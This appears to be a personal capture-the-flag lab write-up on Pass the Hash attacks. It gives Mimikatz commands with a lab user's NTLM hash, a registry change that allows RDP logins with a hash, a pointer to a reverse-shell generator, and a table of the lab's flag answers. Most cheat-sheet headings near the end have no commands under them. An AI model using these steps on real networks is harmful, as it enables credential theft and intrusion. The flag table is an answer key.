pass the hash !!

The first tool we will use to perform a Pass the Hash attack is Mimikatzarrow-up-right. Mimikatz has a module named sekurlsa::pth that allows us to perform a Pass the Hash attack by starting a process using the hash of the user's password. To use this module, we will need the following:

  • /user - The user name we want to impersonate.

  • /rc4 or /NTLM - NTLM hash of the user's password.

  • /domain - Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.).

  • /run - The program we want to run with the user's context (if not specified, it will launch cmd.exe).

// 

Pass the Hash from Windows Using Mimikatz

mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

Connect via RDP and use Mimikatz located in c:\tools to extract the hashes presented in the current session. What is the NTLM/RC4 hash of David's account?

we got the hash

mimikatz.exe privilege::debug "sekurlsa::pth /user:david /rc4:c39f2beb3d2ec06a62cb887fb391dee0 /domain:inlanefreight.htb /run:cmd.exe" exit

using above we get the cmd from there and then putting dir \\dc01\david

will reveal the dir!

but the best part is like

transfering the file

1> use your powershell ip present no attackbox !!!

generate a rev shell from reverseshell generator website https://www.revshells.com/arrow-up-right

🪟 PASS-THE-HASH ON WINDOWS


1️⃣ PtH using Mimikatz

Command:

Example:


2️⃣ PtH with Invoke-TheHash (PowerShell)

Import module:

SMB Command Execution:

Example (create admin user):

WMI Exec Reverse Shell


3️⃣ Reverse Shell Setup (Windows)

Listener:

Generate reverse PowerShell payload at: revshells.com

Use WMI / SMB exec to deliver payload.


🐧 PASS-THE-HASH ON LINUX


4️⃣ Impacket PsExec

Example:


5️⃣ Impacket wmiexec / smbexec / atexec

Examples:


6️⃣ NetExec (CrackMapExec successor)

Check admin access:

Command execution:

Important flag:

Shows reused local admin passwords.


7️⃣ Evil-WinRM (PowerShell Remoting)


🖥️ PASS-THE-HASH WITH RDP

RDP using hash:


⚠️ Required Registry Setting

PtH RDP works ONLY when:

Set via:


🔒 UAC (Local Accounts Limitation)

  • Local admins cannot perform remote admin tasks unless:

  • Domain accounts → NOT affected.


🏁 EXERCISE FLAGS (SUMMARY FOR GITBOOK — OPTIONAL)

Task
Flag

Read C:\pth.txt

G3t_4CCE$$_V1@_PTH

Registry value for RDP PtH

DisableRestrictedAdmin

David NTLM Hash

c39f2beb3d2ec06a62cb887fb391dee0

Shared folder david.txt

D3V1d_Fl5g_is_Her3

Shared folder julio.txt

JuL1()_SH@re_fl@g

Reverse shell → julio flag

JuL1()_N3w_fl@g


🎯 PASS-THE-HASH ATTACK CHEAT SHEET (for GitBook top section)





Last updated

Was this helpful?